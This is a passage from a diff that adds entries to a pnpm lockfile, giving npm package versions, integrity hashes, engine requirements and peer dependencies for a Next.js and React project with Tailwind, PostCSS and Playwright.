sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==} + engines: {node: '>=4.0'} + + keyv@4.5.4: + resolution: {integrity: sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==} + + language-subtag-registry@0.3.23: + resolution: {integrity: sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ==} + + language-tags@1.0.9: + resolution: {integrity: sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==} + engines: {node: '>=0.10'} + + levn@0.4.1: + resolution: {integrity: sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==} + engines: {node: '>= 0.8.0'} + + lilconfig@3.1.3: + resolution: {integrity: sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==} + engines: {node: '>=14'} + + lines-and-columns@1.2.4: + resolution: {integrity: sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==} + + locate-path@6.0.0: + resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==} + engines: {node: '>=10'} + + lodash.merge@4.6.2: + resolution: {integrity: sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==} + + loose-envify@1.4.0: + resolution: {integrity: sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==} + hasBin: true + + lucide-react@0.454.0: + resolution: {integrity: sha512-hw7zMDwykCLnEzgncEEjHeA6+45aeEzRYuKHuyRSOPkhko+J3ySGjGIzu+mmMfDFG1vazHepMaYFYHbTFAZAAQ==} + peerDependencies: + react: ^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0-rc + + math-intrinsics@1.1.0: + resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==} + engines: {node: '>= 0.4'} + + merge2@1.4.1: + resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} + engines: {node: '>= 8'} + + micromatch@4.0.8: + resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} + engines: {node: '>=8.6'} + + minimatch@10.2.5: + resolution: {integrity: sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==} + engines: {node: 18 || 20 || >=22} + + minimatch@3.1.5: + resolution: {integrity: sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==} + + minimist@1.2.8: + resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==} + + ms@2.1.3: + resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} + + mz@2.7.0: + resolution: {integrity: sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==} + + nanoid@3.3.12: + resolution: {integrity: sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true + + napi-postinstall@0.3.4: + resolution: {integrity: sha512-PHI5f1O0EP5xJ9gQmFGMS6IZcrVvTjpXjz7Na41gTE7eE2hK11lg04CECCYEEjdc17EV4DO+fkGEtt7TpTaTiQ==} + engines: {node: ^12.20.0 || ^14.18.0 || >=16.0.0} + hasBin: true + + natural-compare@1.4.0: + resolution: {integrity: sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==} + + next-themes@0.4.6: + resolution: {integrity: sha512-pZvgD5L0IEvX5/9GWyHMf3m8BKiVQwsCMHfoFosXtXBMnaS0ZnIJ9ST4b4NqLVKDEm8QBxoNNGNaBv2JNF6XNA==} + peerDependencies: + react: ^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc + react-dom: ^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc + + next@15.5.18: + resolution: {integrity: sha512-eKL8zUJkX9Y5lE+RX/2YJoItVdGlIscyVyboeD9wSpp0PaGqjoA4tTpT2qPqz9ax+5IzGESyLSeZ/RCwbSZ2uQ==} + engines: {node: ^18.18.0 || ^19.8.0 || >= 20.0.0} + hasBin: true + peerDependencies: + '@opentelemetry/api': ^1.1.0 + '@playwright/test': ^1.51.1 + babel-plugin-react-compiler: '*' + react: ^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0 + react-dom: ^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0 + sass: ^1.3.0 + peerDependenciesMeta: + '@opentelemetry/api': + optional: true + '@playwright/test': + optional: true + babel-plugin-react-compiler: + optional: true + sass: + optional: true + + node-exports-info@1.6.0: + resolution: {integrity: sha512-pyFS63ptit/P5WqUkt+UUfe+4oevH+bFeIiPPdfb0pFeYEu/1ELnJu5l+5EcTKYL5M7zaAa7S8ddywgXypqKCw==} + engines: {node: '>= 0.4'} + + node-releases@2.0.19: + resolution: {integrity: sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==} + + normalize-path@3.0.0: + resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==} + engines: {node: '>=0.10.0'} + + normalize-range@0.1.2: + resolution: {integrity: sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==} + engines: {node: '>=0.10.0'} + + object-assign@4.1.1: + resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==} + engines: {node: '>=0.10.0'} + + object-hash@3.0.0: + resolution: {integrity: sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==} + engines: {node: '>= 6'} + + object-inspect@1.13.4: + resolution: {integrity: sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==} + engines: {node: '>= 0.4'} + + object-keys@1.1.1: + resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==} + engines: {node: '>= 0.4'} + + object.assign@4.1.7: + resolution: {integrity: sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==} + engines: {node: '>= 0.4'} + + object.entries@1.1.9: + resolution: {integrity: sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==} + engines: {node: '>= 0.4'} + + object.fromentries@2.0.8: + resolution: {integrity: sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==} + engines: {node: '>= 0.4'} + + object.groupby@1.0.3: + resolution: {integrity: sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==} + engines: {node: '>= 0.4'} + + object.values@1.2.1: + resolution: {integrity: sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==} + engines: {node: '>= 0.4'} + + optionator@0.9.4: + resolution: {integrity: sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==} + engines: {node: '>= 0.8.0'} + + own-keys@1.0.1: + resolution: {integrity: sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==} + engines: {node: '>= 0.4'} + + p-limit@3.1.0: + resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==} + engines: {node: '>=10'} + + p-locate@5.0.0: + resolution: {integrity: sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==} + engines: {node: '>=10'} + + parent-module@1.0.1: + resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} + engines: {node: '>=6'} + + path-exists@4.0.0: + resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} + engines: {node: '>=8'} + + path-key@3.1.1: + resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} + engines: {node: '>=8'} + + path-parse@1.0.7: + resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} + + picocolors@1.1.1: + resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} + + picomatch@2.3.2: + resolution: {integrity: sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==} + engines: {node: '>=8.6'} + + picomatch@4.0.4: + resolution: {integrity: sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==} + engines: {node: '>=12'} + + pify@2.3.0: + resolution: {integrity: sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==} + engines: {node: '>=0.10.0'} + + pirates@4.0.7: + resolution: {integrity: sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==} + engines: {node: '>= 6'} + + playwright-core@1.60.0: + resolution: {integrity: sha512-9bW6zvX/m0lEbgTKJ6YppOKx8H3VOPBMOCFh2irXFOT4BbHgrx5hPjwJYLT40Lu+4qtD36qKc/Hn56StUW57IA==} + engines: {node: '>=18'} + hasBin: true + + playwright@1.60.0: + resolution: {integrity: sha512-hheHdokM8cdqCb0lcE3s+zT4t4W+vvjpGxsZlDnikarzx8tSzMebh3UiFtgqwFwnTnjYQcsyMF8ei2mCO/tpeA==} + engines: {node: '>=18'} + hasBin: true + + possible-typed-array-names@1.1.0: + resolution: {integrity: sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==} + engines: {node: '>= 0.4'} + + postcss-import@15.1.0: + resolution: {integrity: sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==} + engines: {node: '>=14.0.0'} + peerDependencies: + postcss: ^8.5.14 + + postcss-js@4.1.0: + resolution: {integrity: sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw==} + engines: {node: ^12 || ^14 || >= 16} + peerDependencies: + postcss: ^8.5.14 + + postcss-load-config@6.0.1: + resolution: {integrity: sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==} + engines: {node: '>= 18'} + peerDependencies: + jiti: '>=1.21.0' + postcss: ^8.5.14 + tsx: ^4.8.1 + yaml: ^2.8.3 + peerDependenciesMeta: + jiti: + optional: true + postcss: + optional: true + tsx: + optional: true + yaml: + optional: true + + postcss-nested@6.2.0: + resolution: {integrity: sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==} + engines: {node: '>=12.0'} + peerDependencies: + postcss: ^8.5.14 + + postcss-selector-parser@6.1.2: + resolution: {integrity: sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==} + engines: {node: '>=4'} + + postcss-value-parser@4.2.0: + resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} + + postcss@8.5.14: + resolution: {integrity: sha512-SoSL4+OSEtR99LHFZQiJLkT59C5B1amGO1NzTwj7TT1qCUgUO6hxOvzkOYxD+vMrXBM3XJIKzokoERdqQq/Zmg==} + engines: {node: ^10 || ^12 || >=14} + + prelude-ls@1.2.1: + resolution: {integrity: sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==} + engines: {node: '>= 0.8.0'} + + prop-types@15.8.1: + resolution: {integrity: sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==} + + punycode@2.3.1: + resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} + engines: {node: '>=6'} + + queue-microtask@1.2.3: + resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} + + react-dom@19.0.0: + resolution: {integrity: sha512-4GV5sHFG0e/0AD4X+ySy6UJd3jVl1iNsNHdpad0qhABJ11twS3TTBnseqsKurKcsNqCEFeGL3uLpVChpIO3QfQ==} + peerDependencies: + react: ^19.0.0 + + react-is@16.13.1: + resolution: {integrity: sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==} + + react-remove-scroll-bar@2.3.8: + resolution: {integrity: sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + + react-remove-scroll@2.7.1: + resolution: {integrity: sha512-HpMh8+oahmIdOuS5aFKKY6Pyog+FNaZV/XyJOq7b4YFwsFHe5yYfdbIalI4k3vU2nSDql7YskmUseHsRrJqIPA==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + react-style-singleton@2.2.3: + resolution: {integrity: sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + react@19.0.0: + resolution: {integrity: sha512-V8AVnmPIICiWpGfm6GLzCR/W5FXLchHop40W4nXBmdlEceh16rCN8O8LNWm5bh5XUX91fh7KpA+W0TgMKmgTpQ==} + engines: {node: '>=0.10.0'} + + read-cache@1.0.0: + resolution: {integrity: sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==} + + readdirp@3.6.0: + resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==} + engines: {node: '>=8.10.0'} + + reflect.getprototypeof@1.0.10: + resolution: {integrity: sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==} + engines: {node: '>= 0.4'} + + regexp.prototype.flags@1.5.4: + resolution: {integrity: sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==} + engines: {node: '>= 0.4'} + + resolve-from@4.0.0: + resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} + engines: {node: '>=4'} + + resolve-pkg-maps@1.0.0: + resolution: {integrity: sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==} + + resolve@1.22.12: + resolution: {integrity: sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA==} + engines: {node: '>= 0.4'} + hasBin: true + + resolve@2.0.0-next.7: + resolution: {integrity: sha512-tqt+NBWwyaMgw3zDsnygx4CByWjQEJHOPMdslYhppaQSJUtL/D4JO9CcBBlhPoI8lz9oJIDXkwXfhF4aWqP8xQ==} + engines: {node: '>= 0.4'} + hasBin: true + + reusify@1.1.0: + resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} + engines: {iojs: '>=1.0.0', node: '>=0.10.0'} + + run-parallel@1.2.0: + resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} + + safe-array-concat@1.1.4: + resolution: {integrity: sha512-wtZlHyOje6OZTGqAoaDKxFkgRtkF9CnHAVnCHKfuj200wAgL+bSJhdsCD2l0Qx/2ekEXjPWcyKkfGb5CPboslg==} + engines: {node: '>=0.4'} + + safe-push-apply@1.0.0: + resolution: {integrity: sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==} + engines: {node: '>= 0.4'} + + safe-regex-test@1.1.0: + resolution: {integrity: sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==} + engines: {node: '>= 0.4'} + + scheduler@0.25.0: + resolution: {integrity: sha512-xFVuu11jh+xcO7JOAGJNOXld8/TcEHK/4CituBUeUb5hqxJLj9YuemAEuvm9gQ/+pgXYfbQuqAkiYu+u7YEsNA==} + + semver@6.3.1: + resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==} + hasBin: true + + semver@7.8.0: + resolution: {integrity: sha512-AcM7dV/5ul4EekoQ29Agm5vri8JNqRyj39o0qpX6vDF2GZrtutZl5RwgD1XnZjiTAfncsJhMI48QQH3sN87YNA==} + engines: {node: '>=10'} + hasBin: true + + set-function-length@1.2.2: + resolution: {integrity: sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==} + engines: {node: '>= 0.4'} + + set-function-name@2.0.2: + resolution: {integrity: sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==} + engines: {node: '>= 0.4'} + + set-proto@1.0.0: + resolution: {integrity: sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==} + engines: {node: '>= 0.4'} + + sharp@0.34.5: + resolution: {integrity: sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + + shebang-command@2.0.0: + resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} + engines: {node: '>=8'} + + shebang-regex@3.0.0: + resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} + engines: {node: '>=8'} + + side-channel-list@1.0.1: + resolution: {integrity: sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==} + engines: {node: '>= 0.4'} + + side-channel-map@1.0.1: + resolution: {integrity: sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==} + engines: {node: '>= 0.4'} + + side-channel-weakmap@1.0.2: + resolution: {integrity: sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==} + engines: {node: '>= 0.4'} + + side-channel@1.1.0: + resolution: {integrity: sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==} + engines: {node: '>= 0.4'} + + source-map-js@1.2.1: + resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} + engines: {node: '>=0.10.0'} + + stable-hash@0.0.5: + resolution: {integrity: sha512-+L3ccpzibovGXFK+Ap/f8LOS0ahMrHTf3xu7mMLSpEGU0EO9ucaysSylKo9eRDFNhWve/y275iPmIZ4z39a9iA==} + + stop-iteration-iterator@1.1.0: + resolution: {integrity: sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==} + engines: {node: '>= 0.4'} + + string.prototype.includes@2.0.1: + resolution: {integrity: sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==} + engines: {node: '>= 0.4'} + + string.prototype.matchall@4.0.12: + resolution: {integrity: sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==} + engines: {node: '>= 0.4'} + + string.prototype.repeat@1.0.0: + resolution: {integrity: sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==} + + string.prototype.trim@1.2.10: + resolution: {integrity: sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==} + engines: {node: '>= 0.4'} + + string.prototype.trimend@1.0.9: + resolution: {integrity: sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==} + engines: {node: '>= 0.4'} + + string.prototype.trimstart@1.0.8: + resolution: {integrity: sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==} + engines: {node: '>= 0.4'} + + strip-bom@3.0.0: + resolution: {integrity: sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==} + engines: {node: '>=4'} + + strip-json-comments@3.1.1: + resolution: {integrity: sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==} + engines: {node: '>=8'} + + styled-jsx@5.1.6: + resolution: {integrity: sha512-qSVyDTeMotdvQYoHWLNGwRFJHC+i+ZvdBRYosOFgC+Wg1vx4frN2/RG/NA7SYqqvKNLf39P2LSRA2pu6n0XYZA==} + engines: {node: '>= 12.0.0'} + peerDependencies: + '@babel/core': '*' + babel-plugin-macros: '*' + react: '>= 16.8.0 || 17.x.x || ^18.0.0-0 || ^19.0.0-0' + peerDependenciesMeta: + '@babel/core': + optional: true + babel-plugin-macros: + optional: true + + sucrase@3.35.1: + resolution: {integrity: sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==} + engines: {node: '>=16 || 14 >=14.17'} + hasBin: true + + supports-color@7.2.0: + resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} + engines: {node: '>=8'} + + supports-preserve-symlinks-flag@1.0.0: + resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==} + engines: {node: '>= 0.4'} + + tailwind-merge@2.5.5: + resolution: {integrity: sha512-0LXunzzAZzo0tEPxV3I297ffKZPlKDrjj7NXphC8V5ak9yHC5zRmxnOe2m/Rd/7ivsOMJe3JZ2JVocoDdQTRBA==} + + tailwindcss-animate@1.0.7: + resolution: {integrity: 